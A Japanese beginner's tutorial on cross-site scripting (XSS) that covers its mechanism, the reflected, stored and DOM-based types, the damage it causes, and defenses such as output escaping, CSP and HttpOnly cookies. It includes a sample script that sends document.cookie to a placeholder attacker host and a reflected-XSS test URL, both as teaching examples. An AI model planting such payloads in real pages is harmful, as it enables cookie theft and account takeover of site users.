「XSSって何?」「クロスサイトスクリプティングって難しそう…」
Web開発を学んでいると必ず出てくるXSS(クロスサイトスクリプティング)。実はこの攻撃、Webアプリケーションの脆弱性の中で最も報告件数が多いとも言われています。
この記事では、XSSとは何か、どんな仕組みで攻撃されるのか、どう対策すればいいのかを、初心者の方にもわかりやすく解説します。
XSS(クロスサイトスクリプティング)とは?
XSSとは、Webサイトに悪意のあるスクリプト(プログラム)を埋め込み、そのサイトを訪れたユーザーのブラウザ上で実行させる攻撃手法です。
言葉の意味を確認しましょう。
| 用語 | 意味 |
|---|---|
| クロスサイト | サイトをまたぐ、横断するという意味 |
| スクリプティング | スクリプト(プログラム)を実行すること |
「クロスサイト」という名前は、攻撃者のサイトとターゲットのサイトを横断して攻撃が行われることに由来します。ただし、現在ではより広い意味で使われており、「Webページに不正なスクリプトを埋め込む攻撃全般」を指すことが多いです。
SQLインジェクションとの違い
同じ「脆弱性を突く攻撃」でも、XSSとSQLインジェクションは攻撃の対象が異なります。
| 攻撃手法 | 攻撃対象 | 被害を受けるのは |
|---|---|---|
| SQLインジェクション | データベース | 主にサーバー側(企業) |
| XSS | ブラウザ | 主にユーザー側(利用者) |
SQLインジェクションがデータベースを直接攻撃するのに対し、XSSはユーザーのブラウザ上で悪意のあるスクリプトを実行させる点が大きな違いです。
XSSの仕組みを図解
具体的にどのような仕組みで攻撃が成立するのか、掲示板サイトを例に見てみましょう。
攻撃の流れ
- 攻撃者が掲示板に悪意のあるスクリプトを含む投稿をする
- そのスクリプトがWebサイトに保存される
- 別のユーザーがその掲示板を閲覧する
- ユーザーのブラウザ上でスクリプトが実行される
- ユーザーの情報(Cookie等)が攻撃者に送信される
具体例:Cookieの窃取
例えば、攻撃者が掲示板に以下のような投稿をしたとします。
<script>
// ユーザーのCookieを攻撃者のサーバーに送信
new Image().src = "https://attacker.example.com/steal?cookie=" + document.cookie;
</script>
もしWebサイトにXSS対策がされていないと、この投稿を見たすべてのユーザーのCookie情報が攻撃者に送信されてしまいます。
Cookieにはセッション情報(ログイン状態を保持する情報)が含まれていることが多いため、これを悪用されるとアカウントを乗っ取られる可能性があります。
XSSの3つの種類
XSSは、攻撃の方法によって主に3つの種類に分類されます。
1. 反射型XSS(Reflected XSS)
反射型XSSは、悪意のあるスクリプトがURLに含まれ、そのURLをクリックしたユーザーが被害を受けるタイプです。
例えば、検索サイトで検索結果に検索キーワードがそのまま表示される場合、以下のようなURLを踏ませることで攻撃できます。
https://example.com/search?q=<script>alert('XSS')</script>
スクリプトがサーバーに保存されないため「反射型」と呼ばれます。攻撃者は、このURLをメールやSNSで拡散し、クリックさせることで攻撃を成立させます。
2. 格納型XSS(Stored XSS)
格納型XSSは、悪意のあるスクリプトがサーバーに保存され、そのページを見たすべてのユーザーが被害を受けるタイプです。
先ほどの掲示板の例がこれにあたります。反射型より影響範囲が大きく、被害が深刻になりやすいです。
3. DOM Based XSS
DOM Based XSSは、クライアント側(ブラウザ)のJavaScriptの処理に脆弱性がある場合に発生するタイプです。
サーバーを経由せず、ブラウザ上のJavaScriptだけで攻撃が完結するのが特徴です。近年のSPA(シングルページアプリケーション)の普及により、注目度が高まっています。
| 種類 | スクリプトの保存 | 被害範囲 |
|---|---|---|
| 反射型 | 保存されない | URLをクリックした人 |
| 格納型 | サーバーに保存 | ページを見たすべての人 |
| DOM Based | 保存されない | JavaScript実行された人 |
XSSで起こる被害
XSS攻撃が成功すると、どのような被害が発生するのでしょうか。
1. Cookie・セッション情報の窃取
最も一般的な被害が、Cookieやセッション情報の窃取です。これにより、アカウントの乗っ取り(セッションハイジャック)が可能になります。
2. フィッシング詐欺
正規のWebサイト上に偽のログインフォームを表示させ、ユーザーのID・パスワードを騙し取ることができます。正規サイトのURL上で行われるため、ユーザーは気づきにくいです。
3. Webサイトの改ざん
ページの内容を書き換えて表示することができます。偽の情報を表示したり、マルウェアをダウンロードさせるリンクを仕込んだりできます。
4. マルウェア感染
悪意のあるスクリプトを通じて、マルウェアを自動的にダウンロード・実行させることも可能です。
CASUAL TALK
服装自由・オンライン対応
まずは気軽に話しませんか?
応募じゃなくてOK。「ちょっと話を聞いてみたい」だけでも大歓迎。30分のカジュアル面談で、あなたの可能性が見えてきます。
カジュアル面談を予約するXSSの対策方法
XSSを防ぐための主な対策方法を紹介します。
1. 出力時のエスケープ処理(最重要)
最も重要な対策が、HTML出力時のエスケープ処理です。
エスケープ処理とは、HTMLで特別な意味を持つ文字を無害な文字に変換することです。
| 変換前 | 変換後 | 意味 |
|---|---|---|
| < | < | 小なり記号 |
| > | > | 大なり記号 |
| & | & | アンパサンド |
| “ | " | ダブルクォート |
| ‘ | ' | シングルクォート |
これにより、「<script>」という文字列は「<script>」として表示され、スクリプトとして実行されなくなります。
PHPの例:
// ❌ 危険な書き方
echo $user_input;
// ✅ 安全な書き方
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
2. 入力値の検証
ユーザーからの入力値を検証・サニタイズすることも有効です。
- 許可する文字種を限定する
- HTMLタグを含む入力を拒否する
- 入力長の制限を設ける
3. Content Security Policy(CSP)の設定
CSPは、ブラウザに対して「このページで実行していいスクリプトはこれだけ」と指定する仕組みです。HTTPヘッダーで設定します。
Content-Security-Policy: script-src 'self'
これにより、外部サイトからのスクリプト読み込みや、インラインスクリプトの実行を制限できます。
4. HttpOnly属性の付与
CookieにHttpOnly属性を付与すると、JavaScriptからCookieにアクセスできなくなります。これにより、XSSによるCookie窃取を防げます。
Set-Cookie: session_id=abc123; HttpOnly
5. フレームワークのセキュリティ機能を使う
多くのWebフレームワーク(React、Vue.js、Laravel、Railsなど)には、自動的にエスケープ処理を行う機能が備わっています。フレームワークの推奨する書き方に従うことで、XSSを防ぎやすくなります。
まとめ
この記事で解説した内容をまとめます。
| 項目 | 内容 |
|---|---|
| XSSとは | Webサイトに悪意のあるスクリプトを埋め込み、ユーザーのブラウザで実行させる攻撃 |
| 3つの種類 | 反射型、格納型、DOM Based |
| 主な被害 | Cookie窃取、フィッシング、サイト改ざん、マルウェア感染 |
| 最も重要な対策 | 出力時のエスケープ処理 |
| その他の対策 | 入力値検証、CSP設定、HttpOnly属性、フレームワーク活用 |
XSSは非常にポピュラーな攻撃手法であり、Web開発者なら必ず理解しておくべき知識です。「ユーザーからの入力は信用しない」という原則を忘れず、適切なエスケープ処理を心がけましょう。
CASUAL TALK
服装自由・オンライン対応
まずは気軽に話しませんか?
応募じゃなくてOK。「ちょっと話を聞いてみたい」だけでも大歓迎。30分のカジュアル面談で、あなたの可能性が見えてきます。
カジュアル面談を予約する